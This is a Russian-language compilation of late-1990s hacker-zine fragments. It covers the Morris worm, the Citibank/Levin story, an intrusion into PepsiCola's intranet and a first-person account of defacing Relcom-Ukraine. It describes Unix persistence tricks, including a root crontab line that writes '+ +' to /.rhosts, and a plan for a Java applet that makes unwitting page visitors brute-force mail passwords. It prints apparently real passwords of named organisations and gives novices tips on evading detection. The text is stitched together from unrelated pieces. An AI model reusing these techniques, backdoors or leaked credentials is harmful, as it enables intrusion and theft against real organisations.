В Беркли начинается работа по декомпиляции Червя

К утру 4 ноября, в Беркли и в Массачусетсе работы по декомпиляции были завершены. К 11 часам связь между Арпанет и Милнет была восстановлена. К 8 ноября: в целом, Интернет работал уже в обычном режиме.




Изменение атрибутов файлов.


suid-bit (04000). При запуске программы, имеющей s бит система порождает процесс с эффективным uid равным uid хозяина программы. Таким образом, копия shell, лежащая в удаленном каталоге и имеющая sticky-bit, дает мгновенные права "хозяина" файла, например root.



Изменение системных файлов.


/var/spool/cron/crontabs/ Cron создает заказанные процессы в установленное время. Взломщик может добавить строку, создающую, например, .rhosts файл в полночь и уничтожающую его утром в файл заданий root.

/var/spool/cron/crontabs/root: 0 22 * * 6 "echo '+ +' > /.rhosts" 0 6 * * 1 "rm -rf /.rhosts"

/etc/passwd, /etc/shadow - в этих файлах храниться информация о аккаунтах. Взломщик может добавть в них свои записи или изменить аттрибуты этих файлов для внесения в произвольный момент своей информации.

 /var/sadm/install/contents - этот файл хранит информацию о проинсталлированных в системе файлах, их размеры, атрибуты и контрольную сумму. Этот файл может быть изменен для сокрытия модификации программ.



Javacrk


Некоторые аспекты атаки по словарю

Всем известна старая атака по словарю. А так же ее дополнение ( имеется в виду атака с нескольких машин ). В общем случае это выглядит так :

1. Клиент(далее Crk-client) обращается к серверу(далее Crk-server) за очередной порцией паролей

2. Crk-server помечает эту порцию как находящуюся в работе

3. Crk-client пробует все пароли из этой порции .

а) Если один из них подошел , отправляется сообщение на Crk-server, и на этом заканчиваем перебор.

б) Если нет то Crk-client отсылает на Crk-server сообщение об окончании перебора и берет новую порцию.

в) Если соединение разрывается по ошибке или Crk-client завис, то он ,естественно ,ничего не отправляет.

4. Crk-server получает сообщение об окончании перебора ( см.3б ), тогда эта порция удаляется как уже обработанная . Или , по time-out'у , Crk-server помечает эту порцию как необработанную ( см.3в )

Теперь непосредственно сама идея.

Рассмотрим например chat.ru(далее сервер). Он предоставляет следующие виды сервиса :

1. Размещение страниц

2. Почту ( как POP3 , так и SMTP )

и т.д. ( остальное нас не интересует)

Рассмотрим как можно организовать перебор пароля на ЛЮБОЙ сервис данного сервера.

Crk-client можно написать в виде апплета на яве и положить апплет на сервер. Это делается для того , что бы перебором паролей занимались посетители этой страницы ( даже не подозревая об этом ). В логах сервера перебор будет разнесен во времени и пространстве, т.е. попытки будут происходить через неравные промежутки времени и из разных мест. И к тому же невозможно будет определить кто же в действительности подбирает пароль.

Этот апплет может коннектиться только с тем сервером откуда он был загружен (chat.ru). Нам это и нужно.

Проблема в следующем: как разместить на сервере Crk-server ? Очевидно , что это не получится . Покажем как можно обойтись без Crk-server'а ...

Регистрируем два аккаунта(далее WordList и TMP) на сервере, размещаем HTML-страничку с апплетом Crk-client, а словарь ложим в почтовый ящик (WordList) на сервере.
Словарь необходимо разбить на порции , например по 20 паролей. При этом каждая порция лежит отдельным письмом. Crk-client при запуске, обращается на WordList по протоколу POP3 и берет первое-же письмо ( удаляя его с WordList , но отсылая его по SMTP на TMP). Далее Crk-client начинает перебор. Если пароль успешно найден, отправляем его по SMTP себе :)) Если перебор завершился впустую , удаляем из TMP эту порцию . Здесь может возникнуть проблемма , когда одновременно работают несколько клиентов. Но "свою" порцию можно найти используя команду POP3 TOP msg n.

Если Crk-client не доработал из-за ошибки , то эта порция не потеряется и ее можно переместить из TMP в WordList . Делать это придется или вручную ( что нежелательно ) или возложить эту функцию на Crk-client. Тут возникает еще одна проблема, как отличить в TMP порции которые обрабатываются сейчас от тех которые надо переместить в WordList . Для этого нужно анализировать дату отправки порции и текущее время. Если разница порядка часа , то эту порцию перемещаем в WordList.

Скорость перебора зависит от качества связи с сервером и от количества посетителей этой странички. Как сделать страничку посещаемой - тема для отдельной статьи :)))

Сейчас я работаю над реализацией этого алгоритма. Пока что это только теория. В процессе работы возникло сомнение , а может ли апплет работать с почтовыми протоколами ? Оказалось, может.

Теперь немного о применение вышеописанного. На первый взгляд может показаться , что это работает только для халявных серверов , но это не так. Это работает и для серверов провайдеров , если только HTTP , POP3 и SMTP ослуживаются одной машиной.

P.S. С некоторыми изменениями, этот алгоритм можно использовать для серверов которые предоставляют только HTTP. Правда для этого сервер должен поддерживать методы DELETE и PUT , ну и GET , естественно.




Как был взломан "Релком-Украина"


(первый и до сих пор один из крупнейших украинских провайдеров)

Это произошло в субботу, 19 сентября в 12.00. Мы всего лишь сменили гордость Релкома - www - на то, чем вы можете любоваться до сих пор здесь

(за что спасибо Д. Леонову).

Надо сказать, что Релком-Украина известен параноидальной любовью к безопасности своих машин. С год тому назад на их машинах какая-то западная поисковая система засекла файлы с детской порнографией (видно просто сопоставили имя+размер уже имеющихся в коллекции ФБР картинок); с тех пор там любой работающий в шелле каждые 10 мин вводит "last -20".

Часть кейлога с виндоуз-машины Релкома:

…toc[RETURN]sasha[RETURN]octybj89[RETURN]last -20 uueurostt[RETURN]last -20 uueurost[RETURN]last –20

Собственно, взлом то был чисто дружеским. Мы не хотели "убивать" Релком. Никакая информация не была стерта (лишь файл index.html был переименован в suxxx.htm), не были выведены из строя роутеры, да и оперативность, с которой починили сайт (1,5 часа) говорит не о "шустрости" админов, а о том, что мы не усложняли им задачу.

Вам не терпится узнать как же это мы ухитрились взломать чуть ли не самого защищенного провайдера Украины ? Все очень просто: люди, уделявшие особое внимание Unix серверам совсем забыли о том, что существуют открытые рабочие станции под Windows с реальными ИП-шниками.

Этим летом, когда вышел BackOrifice, я написал скромненький сканер, который проверял 31337 порт на предмет BO. Запустил его на ночь. На следующее утро я получил от провайдера сообщение типа "еще одно письмо с угрозой расправы за попытки сканирования сетей и я закрываю вам все UDP порты на выход". Ну что ж... Я порылся в своем ночном "улове", а в каждой подсетке C оказалось по 10-15 зараженных машин, и свил себе гнездо в одном скромном институтском компьютере далекого города. Надо сказать, что BO я значительно переделал расширив возможности. Теперь сканирование сетей шло с удаленного компьютера. Подсетки я выбирал чисто случайно. Без определенной цели. Среди улова была машина (насколько я понял финансового директора) предприятия, выпускающего навигационное оборудование для оборонной промышленности РФ. Папка "Мои документы" имела следующее содержание:

Contents of directory 'c:\мои документы\*.*': 0 D------ 11-11-96 09:21 . 0 D------ 11-11-96 09:21 .. 16384 -A----- 02-20-98 16:59 Salary.xls 0 D------ 06-24-98 13:13 Gyrocompass 0 D------ 03-03-97 11:33 Отчеты 0 D------ 03-03-97 11:32 Планы 0 D------ 07-02-98 14:37 VISTA 0 D------ 03-26-97 15:13 Ходатайства 0 D------ 05-08-98 13:53 Картинки 20480 -A----- 12-16-97 15:00 График отпусков 1998.doc 0 D------ 07-14-98 16:24 радио 0 D------ 03-12-97 09:04 labels 0 D------ 07-02-98 09:20 Гироскопы 0 D------ 03-24-97 12:25 Обоснования 52224 -A----- 07-15-98 16:07 bins.doc 0 D------ 06-30-98 16:03 ProSoft 19456 -A----- 05-22-98 09:23 Визы1.doc 0 D------ 03-14-97 09:35 Распоряжения 23040 -A----- 05-28-98 08:20 list1.doc 89056 -A----- 07-15-98 16:04 Bv4bnsv2.tif 0 D------ 02-12-97 10:04 strat 567544 -A----- 07-16-98 12:54 oernst.ra 0 D------ 03-03-97 11:33 Служеб_зап 227235 -A----- 07-06-98 16:22 price-se.htm 0 D------ 01-28-98 15:44 КАЛМАН 19456 -A----- 12-18-97 12:21 Визы.doc 0 D------ 04-17-98 11:33 iso 0 D------ 10-01-97 18:03 федерал 0 D------ 05-25-98 15:54 Мафтер 0 D------ 04-30-98 15:24 Подпись 19456 -A----- 05-20-98 16:12 ip-адреса.doc 0 D------ 06-25-97 17:10 Характеристики 0 D------ 03-13-97 18:35 Договора 0 D------ 07-07-98 16:03 FOG 24064 -A----- 05-20-98 10:43 Галкин_бланк.doc 0 D------ 07-02-98 15:27 Итоговые собрания 0 D------ 07-17-97 11:08 Внутр факсы 0 D------ 07-09-98 15:17 Морозов 0 D------ 06-10-98 12:23 Трофимов 0 D------ 06-10-98 16:57 Столы 0 D------ 03-03-97 11:36 Положения 0 D------ 02-24-98 09:50 Программы 360 -A----- 07-14-98 15:58 RealPlayer.lnk 0 D------ 07-20-98 10:16 Приказы о командир 0 D------ 03-03-97 11:33 Статистика 19456 -A----- 07-16-98 15:00 Лист 5 Договора подряда.doc 6731 -A----- 07-28-98 10:14 Dog-pmo2.asc 0 D------ 03-06-98 15:20 ping 41984 -A----- 07-29-98 14:30 Dog-pmo2.doc 0 D------ 04-17-97 09:52 Vizitka 0 D------ 04-30-97 12:57 Командировки 0 D------ 03-26-97 11:52 Перечень ПЭВМ 0 D------ 07-18-97 09:27 Приказы 0 D------ 07-29-98 18:07 Договора подряда 0 D------ 07-25-97 09:54 Знаки Total files: 55

Кроме того на этой машине был доступ еще к десятку офисных компьютеров. Неплохой улов, не правда ли ? Я честно написал чудаку письмо о том, что у него проблемы и предложил приехать к ним и научить как хранить свои тайны. Чудак сказал мне "спасибо" и все. Orifice кто-то убил, но дальнейшее сканирование их сети показало, что у их разделенные ресурсы доступны через 139. А пароли:

Resource: 'P_5_VER' Password: '1478' Resource: '15997' Password: '82239' Resource: '1_HP_133' Password: '1478' Resource: 'BTO' Password: 'BTO' Resource: 'SMIRNOFF' Password: 'SMIRNOFF' Resource: 'FS6' Password: '82239' Resource: 'FS2' Password: 'SMIRNOFF' Resource: 'FS1' Password: '1478' Resource: 'HALL' Password: 'OIS' Resource: 'HP150' Password: 'NESTOR' Resource: 'NT' Password: '548935Yу' Resource: 'ONR' Password: '1478' Resource: 'OASUP' Password: '548935 ' Resource: 'ONR' Password: '548935`?Ш ' ScreenSaver password: 'PSSDUDE'

кажется так до сих пор и висят ;)). Вышеперечисленное я публикую как привет директору этого предприятия. Так что, запускайте свои Legionы. Разочаровавшись в человеческой благодарности я решил действовать более конкретно. Следующей жертвой оказался наш местный провайдер. Достаточно быстро я "освоил" весь их офис, включая НТ-сервер с НТФС. Кроме того, имел пароли к 3-м Юникс машинам. Так как бэкапы хранились не на специальных устройствах, а на жестких дисках, то в моей власти было за ночь уменьшить число провайдеров в нашем городе на одного. Я этого не сделал - опять написал письмо сисадмину. В качестве благодарности мне предложили слепить сайт по безопасности и около 10 часов бесплатного интернета ;)). Я опять долго смеялся над своей добротой.

<
Очередной машиной, на которой мой сканер зарегестрировал наличие BackOrifice оказался 193.124.229.71 - KROK из офиса Релком-Украина. Сразу же я убил там "чужую" бошку и поставил свою - с паролем и измененным портом. Таким образом, я уже тогда оказал Релкому неоценимую услугу - если бы первым ее нашел не я, то проблемы могли бы быть куда серьезнее.

Я даже и не надеялся на то, что получу от Релкома какую-то благодарность. Даже интернетовская безлимитка в Киеве мне просто не нужна, а денег они все равно не заплатили бы. Я посоветовался со своим "коллегой" и мы решили пока просто понаблюдать за тем как работает первый украинский провайдер, чужой опыт всегда полезен ;).

Кейлоги велись круглосуточно практически на всех машинах, а потом мы выкачивали их пользуясь двумя редиректами. Кстати, устанавливать редиректы мне просто нравится, и как показывает практика, в том режиме, в котором мы работаем, найти нас невозможно. Много раз наши кейлоги регистрировали смены паролей. Самый простой пароль имел 5 символов (User:alesha, passw:mzo.5), а стандартно включали по 8-9 символов (Se05WebMr, NiaTwThly, EpK0Qw33). Немного посовещавшись мы приняли решение всего лишь поменять www - хоть моральное удовлетворение получить. Здесь нас поджидали некоторые трудности. Во-первых, машина ultra.ts.kiev.ua (на ней хранится ввв) оказалась уж очень хорошо защищена. Нам пришлось установить редирект на офисной машине с романтичным названием Olways для входа на нее телнетом.

Но выход мы нашли. В субботу утром мы пользуясь редиректами закачали в один сильно захламленный инкаминг забытой богом ФТП файлы с нашей страничкой. Затем, используя двойной редирект зашли сначала телнетом на машину uacom.ts.kiev.ua (дозвоночный сервер) проверили пароли к главному серверу.

Когда мы зашли на ultra.ts.kiev.ua то запустив фтп-клиент, повытягивали наши заготовки пока что в каталог zz. Ну, а затем уже одному не составляло труда менять ввв, пока другой чистил логи под другим паролем (кстати, root там висит как пользователь постоянно).



Вот и все.

Потом наделали скриншотов, закинули копию странички на Nettaxi, где ее уже убили по непонятным нам причинам и читали себе почту на Хотмэйле

(тоже через редирект с выходом на вингейт (еще один редирект)). Скажите, что у нас тоже паранойя. Может быть, зато спим спокойно. Ответы, кстати, получились очень интересные. Ради них стоило все это затевать ;).

В заключении хочу дать несколько советов провайдерам:

Не держите у себя на работе гамеров-ламеров, и не пускайте левый народ за служебные машины.

Не давайте всем машинам подряд реальные ИПшники. Возможности современных компов позволяют делать проксирование\маскарадинг\НАТ без потери качества сети. Чем меньше вас видят, тем сложнее прицелиться.

Почаще смотрите что происходит с машинами, с которых вы запускаете Телнет, ФТП и т.п. И уж во всяком случае, не делайте этого с ИП, роутящихся через КОНКУРЕНТОВ.

Читайте новости о безопасности сетей. Например, обзоры Хакзоны - оперативные, интересные, достаточно подробные, да еще и на русском языке.

...и начинающим хакерам:

Не пытайтесь пользоваться BackOrifice для серьезных взломов - наша версия достаточно переделана и не оставляет следов.

Если вы не уверены, что вам надо что-то взломать, не взламывайте это. Здоровье сбережете. Мы описали идеально простой взлом, но даже здесь не все было так гладко.

Не светитесь. Пользуйтесь редиректами, анонимайзерами... Отработайте сначала взлом в моделе на своей локалке и попробуйте найти свои же следы. Не лезьте в незнакомые ОС.

Читай пункт 4 советов провайдерам.




Как это было...


Итак, что же делал Червь? Используя ошибки программного обеспечения того времени (которых сейчас, впрочем, не стало меньше; они просто стали другими), Червь внедрял свою копию на удаленные компьютеры и запускал ее. Каждый зараженный компьютер стремился заразить и все прочие связанные с ним машины. Червь не был специализирован на какой-либо одной операционной системе, но и особенно многофункциональным он тоже не был. Он был расчитан на операционную систему UNIX, а именно, на BSD Unix, работавший на машинах типа Vax и Sun-3. Обнаружив, что такие машины подключены к зараженной, Червь копировался на удаленный компьютер, запускался там, стремясь получить максимальный доступ к информации (используя ее только для продолжения взлома), и заражал соседние машины.

Поскольку каждый компьютер в Интернете соединен с несколькими, заражение распространялось лавинообразно. Более того, попытки выключить компьютер и снова включить приводили к тому, что через несколько минут на машине вновь, одна за другой, запускались копии "Червя" и загружали ее неимоверно. В UNIX под загрузкой подразумевается количество задач, которые были готовы выполниться за определенный промежуток времени, но не смогли.

Нормальной считается загрузка в единицу или в двойку. Загрузка же в 4 или в 5 - выше среднего. При загрузке более 10 работать уже невозможно. На отдельных серверах в моменты наибольшей активности "Червя" загрузка достигала 30, что фактически означало остановку компьютера.

Первые несколько часов никто ничего не понимал. Приблизительно, в 2.50 ночи 3 ноября в один из интернетовских списков рассылки было послано сообщение: “Нас атакуют!”. Впрочем, списки рассылки,весьма удобное и практичное средство Интернета, в тот момент не работали, из-за неимоверной перегрузки систем.

Так уж повелось (традиция такая), что системным администраторам не привыкать работать в ночь. Достаточно вспомнить, что программное обеспечение еще для Арпанета - самое первое - писалось как раз в ночь с пятницы на понедельник.
Это была долгая и тяжелая ночь, но прогорамма была написана в срок.

Так вот, к утру один из типов атаки стал ясен системным администраторам, и были выпущены предварительные "заплаты" к сендмейлу ("заплатой", или патчем, от английского patch, называют описания изменений, которые нужно внести в файл). Несколько часов спустя выяснилось, что они не помогают, компьютеры заражаются каким-то другим способом - не через сендмейл. По прошествии еще нескольких часов разные люди в разных лабораториях независимо друг от друга закончили патчи для фингерди. Первые три - четыре патча по странной случайности не попали в сеть, но уже к вечеру 5 ноября большинство компьютеров в Интернете было свободно от Червя, программное обеспечение было исправлено, и началась интенсивная работа по декомпиляции вируса.

В принципе, пик эпидемии был сбит через двое суток, хотя, по данным лиц, еще тогда пожелавших остаться анонимными на отдельных машинах Червь бродил еще в начале декабря. Работа по декомпилированию Червя (то есть, восстановлению исходного текста по двоичному файлу) была закончена достатачно быстро: Червь был программой нетривиальной но и боролись с ним отнюдь не студенты первокурсники.

Алгоритм его работы был прост, хотя и не лишен изящества. Здесь он излагается в весьма упрощенном виде, более подробные описания (на английском), в формате html и PostScript, доступны в Интернете (напр. http://freebsd.svib.ru/cgi-bin/showlinks.pl, в разделе Internet History).

Программа Червя состояла из трех частей: загрузчика (99 строк на языке C), собственно Червя, скомпилированного для VAX, и того же Червя, но скомпилированного под Sun.

В BSD-Unix'е и его многочисленных потомках существует набор сервисов для удаленного выполнения программ. Сегодня для подобных целей используется программа ssh (ссылки на соответствующие ресурсы можно найти там же, на http://freebsd.svib.ru/cgi-bin/showlinks.pl), запрещенная в России печально знаменитым Указом о криптографии, во времена же древние его место занимали так называемые r-программы.


Наиболее уязвимым местом в них была идея "доверия" - пользователи компьютеров, бывшие в списках "доверенных узлов", имели право запускать свои программы на "доверяющей" машине без какой-либо дополнительной проверки. Кроме того, отношение доверия часто было симметричным - если, к примеру, машина alpha доверяет пользователю luser с машины beta, то и машина beta, скорее всего, доверяет пользователю luser с машины alpha.

Итак, Червь проникал на одну из соседних с зараженной машин, используя дыру в sendmail, дыру в fingerd или доверие и rsh (remote shell - удаленная оболочка, программа, позволяющая удаленно запускать задачи). При проникновении на атакуемый компьютер забрасывался загрузчик, команда на компиляцию и выполнение загрузчика, и стирание всех временных файлов. Затем загрузчик втягивал все три файла и пытался запустить сначала одно, потом другое тело. Если ни одно из двух тел не запускалось, загрузчик просто стирал и их, и себя, и прекращал работу.

Запустившись, Червь пытался "спрятаться" - стирал свой выполняемый файл, шифровал оба тела, читал их в память, а с диска тоже стирал, и, насколько это возможно, убирал информацию о себе в таблице процессов.

Затем, собиралась информация о сетевых интерфейсах зараженного компьютера и о соседних компьютерах, и часть соседей подвергалась попыткам заражения. Те, которых удалось заразить, помечались как зараженные; те, которые заразить не удалось - как "иммунные".

С этими попытками чередовались попытки получить доступ к компьютерам, "доверявшим" зараженному. С этой целью собирались списки компьютеров, которым "доверял" зараженный. Затем, Червь пытался подобрать пароли пользователей.

Подбор паролей осуществлялся довольно простым, но, в то же время, эффективным способом: использовалось четыре вариации на тему login пользователя, а также, список из примерно 250 слов. По заявлениям некоторых системных администраторов, на отдельных компьютерах свыше 50% паролей были вскрыты таким образом.



В работе Червя было еще несколько деталей, впрочем, они не важны для понимания механизма его работы.

Одна из легенд, связанных с Червем, гласит, что этого монстра выпустил на волю студент первого курса - юное дарование, компьютерный гений. Как и в большинстве легенд, в ней содержится правда, хотя и не вся.

Действительно, Роберт Моррис - младший был человеком неглупым, и действительно учился на первом курсе. Отец его, Роберт Моррис - старший, в период написания Червя был известным программистом, специалистом по безопасности операционных систем, сотрудничавший с NSA Безусловно, информацией, принадлежавшей отцу, мог воспользоваться и сын.

Зачем он это сделал - навсегда останется загадкой. По его собственным утверждениям, это был всего лишь эксперимент, вышедший из-под контроля. Впрочем, строго говоря, Червь и не нанес прямого ущерба.

Да, двое суток работы системного администратора стоят дорого - сотни, а то и тысячи долларов, а работал их не один десяток. Да, компьютеры простаивали, но ни один файл не был уничтожен; хранящаяся в машинах конфиденциальная информация не была разослана куда бы то ни было. С этой точки зрения вполне можно допустить, что Червь был действительно безобидным, вышедшим из-под контроля экспериментом.

Впрочем, существует и другая гипотеза, столь же обоснованная. Изначально Червь действительно был безвреден, но на более поздней стадии к нему могли и должны были быть добавлены агрессивные модули; например, переправляющие списки раскрытых паролей или уничтожающие файлы. В пользу этой версии свидетельствует тот факт, что Червь оказался куда более жизнестойким, чем мог бы быть обычный опыт с сетью, и некоторые куски Червя производили впечатление недописанных.

Например, Червь использовал некоторые весьма нетривиальные технологии, включающие аутентификацию при пересылке (Червь пытался "убедиться", что пересылает файлы именно копии Червя, он шифровал свои, хранящиеся на диске, файлы), и, в то же время, атака на fingerd работала только на Vax'е, а определение типа машины делалось попытками последовательно запустить два выполняемых файла.Похоже, Моррис действительно упустил свою программу на раннем этапе тестирования...

Сам Моррис со вполне понятной твердостью уверял суд в том, что никому не желал зла и лишь хотел поэкспериментировать.

Кстати, к моменту, когда в ФБР поняли, кто виновен в произошедшем, Моррис уже шел сдаваться. Он, похоже, сам не ожтдал такого эффекта - по некоторым данным, он пытался предупредить компьютерное сообщество, потом обсуждал происшествие с несколькими друзьями, даже говорил (анонимно) по телефону с корреспондентом...

Наконец, посоветовавшись с адвокатом, он явился с повинной.


Контроль сетевых соединений.


Узнать о постороннем доступе в систему можно контролируя сетевой траффик и сканнируя хосты на предмет открытых портов. Существует большое количество как сканеров так и систем контроля за сетевым траффиком. Лучшим решением всегда остается firewall ;-).



Levin


Странички истории, или как действительно был взломан Сити-Банк

 Лето 1995 года было действительно жарким, в это время мировая общественность всколыхнулась от сенсационной новости-простой российский хакер по имени Владимир Левин взломал электронную защиту Сити-Банка и похитил 400 000 доллаpов. Попpобуем пpоанализиовать эту истоpию еще pаз с высот 1997  года.

Для этого я пpедлагаю pассмотpеть тpи веpсии, котоpые на данный момент имеют место.

Начнем с официальной. Согласно ей, во взломе банка участвовало несколько человек. Сначала pаботал один компьютеp, потом втоpой, потом тpетий и т.д. Благодаpя такому "штуpму" система защиты дpогнула и "хакеpам" удалось похитить деньги. Напомню, что им удалось пеpевести на подставные счета 10 000 000 доллаpов. Вернее, они так считали, что пеpевели. В какой-то момент вpемени администpатоу банка удалось засечь их деятельность и веpнуть 960 000 доллаpов обpатно. Но 400 000 доллаpов так до сих поp и не найдено.

Втоpая веpсия pождена нашимим пpавоохpанительными оpганами, которые также имеют свой взгляд на пpоизошедшие события. В качестве небольшой пpелюдии к ней скажу несколько слов о хакеpах. Кто они такие и чем занимаются, вам известно. В компьютеpной сети Интеpнет, встpетить наших соотечественников можно где-угодно, особенно пpофессиональных " взломщиков". Поэтому не исключено, что в опpеделенной момент на ВВS банка находилось несколько наших человек, котоpым было пpосто интеpесно, что находится на их сеpвеpе.

А никакого огpабления собственно говоpя не было. Зачем же тогда весь этот шум, спpаведливо спpосите Вы? Да все достаточно пpосто- чтобы напомнить своему пpавительству о так называемой "советской" угpозе, котоpая тепеpь имеет место в такой интеpесной фоpме. Если веpить этой веpсии, то можно понять каким обpазом господин Левин выехал в Англию, где его собственно говоpя и "скpутили".

Вспомните пеpвую веpсию, согласно ей администатоp успел веpнуть 960 000 доллаpов, а так же вычислить откуда идет команда о пеpеводе денег.
Если это так, то навеpное логично было бы связаться с нашими пpавоохpанительныими оpганами и задеpжать пpеступника на теpитоpии России. Но этого не было сделано. Почему? Неизвестно. Иными словами, господина Левина  кpуто подставили, pади каких-то там интеpесов.

Тепеpь пеpейдем к веpсии тех людей, котоpые лично знали Левина. В свое вpемя он был одним из Санкт-Петеpбугских НОДов сети ФИДО. По отзывам, он чисто психологически не мог совеpшить кpажу. Ну не тот менталитет у него.

Что же думают сами "хакеpы" относительно всех этих событий. Вашему коppеспонденту удалось встpетиться с человеком, котоpый, в силу своего хобби, оказался пpактически в центpе всех этих событий. Вот что он мне pасскал:

Задолго до того, как произошли всем известные события, несколько российских хакеров из Санкт-Петербурга проникло на BBS банка.Сделать это достаточно просто, пользуясь сетью Интернет. Операционной оболочкой в Сити Банке служила Unix, которая по словам одного из ХАКЕРОВ "является одной большой дырой, проникнуть через которую достаточно легко, если умеешь конечно". Одним из тех,кто проник в банк был уже достаточно известный, благодаря журналу "Птюч", хакер по имени Мегазоид.

Из pедакционного досье:

На самом деле под этим именем скpывается один из самых талантливых пpогpаммистов Санкт-Петебуга.( более известная кличка Пpотозоид) Его достаточно часто можно встpетить в баpе " Fish Fabrique", котоpый находится на Пушкинской улице. На контакт выйти с ним достаточно сложно. О сеpьезных делах пpедпочитает не говоpить. Хотя если напоить пивом, то сенсации вам обеспечены.
При этом, не стоит думать,что проник он туда с целью перевода себе каких-то денег,абсолютно нет. Просто хакеры- это такие люди, которым интересно посмотреть что там за чертой.( и об этом мы уже говоили во втоpой веpсии) Мегазоид находясь в банке нашел несколько "дыр" в системе защиты и некоторое время ходил по нему как по своему родному дому. Он даже смог пронаблюдать как работники банка переезжали с этажа на этаж и в спешке забыли дискету в одном из компьютеров, а потом три дня ее искали.


Естественно, что администратор сети банка очень скоро заметил,что в системе есть кто-то посторонний. Причем сделал он такие выводы только по той причине, что Мегазоид, по сравнению с другими пользователями банка, сделал себе достаточно маленькие права.

Нащупав Мегазоида администратор немного удивился и начал активно выпихивать его из сети. В ответ, Мегазоид написал ему письмо с приблизительно следующим содержанием: Я бедный русский хакер из Питера,не трогайте меня, пожайлуста, а я вам за это покажу где у вас бреши в системе защиты.

На самом деле Мегазоид немного схитрил,он нашел несколько пробоин в системе,а рассказал только об одной. После того ,как он показал ,где находиться дыра в защите, администратор повел себя абсолютно не по-джентельменски,и элиментарно его вырубил .

В ответ на это Мегазоид зашел во вторую брешь и навестил его снова с пламенным приветом из Питера.

Наверное вам будет интересно узнать на какой машине работал в этот момент Мегазоид, если вы думаете,что это супернавороченный Пентиум, то вы глубоко ошибаетесь. На самом деле это был терминал,т.е. фактически один монитор с модемом. На жестком диске компьютера банка Мегазоид отвел себе немного места, на котором держал весь свой софт.

В один прекрасный момент Мегазоиду срочно потребовались деньги и он продал уже печально известному В.Левину за 100 долларов секрет проникновения через систему защиты банка.

а дальше....

Дальше сpаботала либо пеpвая, либо втоpая, либо третья версия. После того, как поизошел веcь этот скандал компетентные оpганы нашего гоpода хоpошенько почистили всех наиболее известных хакеpов. До сих по в МВД, существует целый отдел, одной из задач котоpого как pаз и является отслеживание "электpонных" взломщиков.

Но как говоpится техническая мысль не стоит на месте, и навеpное скоpо мы услышим о новых ухищpениях хакеpов, котоpые как пить дать попытаются взломать еще чего-нибудь.




MAIN


SOFT-ICE

Перед вами максимально близкий к исходному тексту перевод руководства по эксплуатации отладчика Soft-ICE (2.62-2.80 для ДОС) фирмы Numega Technologies. При переводе Английские термины по возможности были заменены их русскими эквивалентами, логическое расположение текста и смысловое содержание не были изменены.

За смысловую нагрузку (в особенности в примерах) переводчик ответственности

не несет.

Успехов в отладке программ !

Руководство

Приложение 1

Приложение 2



Определение backdoors.


Хорошо спрятанный backdoor довольно трудно найти. Вопросы поиска и создания backdoors напоминают "спор брони и снаряда".



Pepsi


Исследования Intranet-сети компании PepsiCola International.

Уважаемые читатели, Вашему вниманию предлагается статья, описывающая реальный

взлом системы. Это 'исследование' было проведено чисто в познавательных целях и мы старались руководствоваться принципом "не навреди".

Все началось с моего интереса к х.25 сетям ( благо эта древняя технология вполне прижилась у нас - сети типа Rosnet, Rospac, IASnet, Infocom, Infonet, SITA, Sprint имеют свои модемные пулы чуть ли не во всех городах России, исправно снабжая NUI хакеров PPP и telnet доступом в Internet ).

Для рядового пользователя эту сеть можно считать аналогом Interneta, тут тоже есть свои адреса ( правда не IP, а Network User Address ), есть и мнемоники, представляющий аналог имен DNS. Правда удаленно по модему "работать" с этой сетью можно только сидя на PADе в своей терминалке. ( PAD - это Packet Assembler Disassembler т.е. вещь, которая принимает \ передает пакеты от пользователя к хостам , это немного похоже на telnet соединение).

Итак....

Около 2 месяцев назад я сканил SITA network на предмет интересных общедоступных адресов в сети ( NUAs ). Однажды утром я заглянул в лог сканнера и обнаружил PPP соединение по адресу

2852376 PPP 165.198.104.22 ( сейчас этот адрес не отвечает, скорее всего его прикрыли )

При подсоединении было обнаружено, что сеть представляет собой нечто на основе tcp/ip с restricted доступом в Internet.

Использовав сервис whois, удалось выяснить, что данная маска ip 165.198.0.0 принадлежит

Pepsi-Cola International (NET-PCINET-B2) 1 Pepsi Way Somers, NY 10589

inetnum: 192.168.0.0 - 192.168.255.255 netname: IANA-CBLK1 descr: Class C address space for private internets remarks: Country is really worldwide remarks: This network should never be routed outside an enterprise

Вполне логичным теперь было пойти на ближайший роутер и что-либо выяснить

Роутер нашелся легко - достаточно было протрэйсить путь к любому адресу, отличному от 127.0.0.1 :)

>>>> tracert 165.197.160.10


Tracing route to 165.197.160.10 over a maximum of 30 hops

1 57 ms 60 ms 58 ms 165.198.104.22

Затем вполне логично было попробовать зайти на роутер telnetom

telnet://165.198.101.1

***************************************************** * PLEASE ENTER THE PASSWORD AT THE SYSTEM PROMPT * * - UNAUTHORISED ACCESS IS FORBIDDEN - * *****************************************************

Password:

Как обидно было увидеть такой баннер от CISCO routera, пароля на тот момент я не знал ( а пароль был на самом деле gustav, универсальный (!) пароль на все роутеры в этом Intranete )

Конечно это немного обломало, но ведь есть еще приятные программы - сканнеры IP адресов :)

Не долго думая, я запустил свои NetScanTools на проскан ip диапазона 165.198.1.1 - 165.198.254.254 и обнаружил интересные хосты даже с DNS entry

165.198.1.10 richntw1.richmond.intl.pepsi.com 165.198.1.11 RICHNTP2.richmond.intl.pepsi.com 165.198.1.12 RICHNTP3.richmond.intl.pepsi.com 165.198.1.13 RICHNTP4.richmond.intl.pepsi.com 165.198.1.14 richntp5.richmond.intl.pepsi.com 165.198.1.15 RICHNTP1.richmond.intl.pepsi.com 165.198.1.16 RICHMTA.richmond.intl.pepsi.com 165.198.1.18 RICHNTT1.richmond.intl.pepsi.com 165.198.1.21 RICHNTX1.richmond.intl.pepsi.com 165.198.1.24 proxy.richmond.intl.pepsi.com

Они ясно не скупились на домэйны для своих подчиненных....

Теперь стало понятно, что может существовать web-server, обслуживающий весь PepsiCola Intranet. Самое интересное, что так все и было :) Главный сервер имел адрес http://www.intl.pepsi.com/ Зайдя любимым Netscapom по этому urly, удалось выяснить, что сеть Пепси есть и в Москве, но шнурок там тонкий - 64 кб и ip адреса не указаны

NETWORK SEGMENT INFORMATION Somers / Moscow

moscow.somers.intl.pepsi.com

SEGMENT NAME Somers / Moscow DIVISION PCI MEDIA MCI IPL BANDWIDTH 64 Kbps CATEGORY Remote Link NETWORK ID GCI - 18232-00100 IP Address

Удалось выяснить, каким боком Пепси доступны по х.25 ... Существует так называемый проект WorldOne Profile, про заключении договоров по которому локальным подразделениям дается выход на х.25:



http://www.emea.intl.pepsi.com/Somers/Depts/IT/WorldOne/netinfo.htm

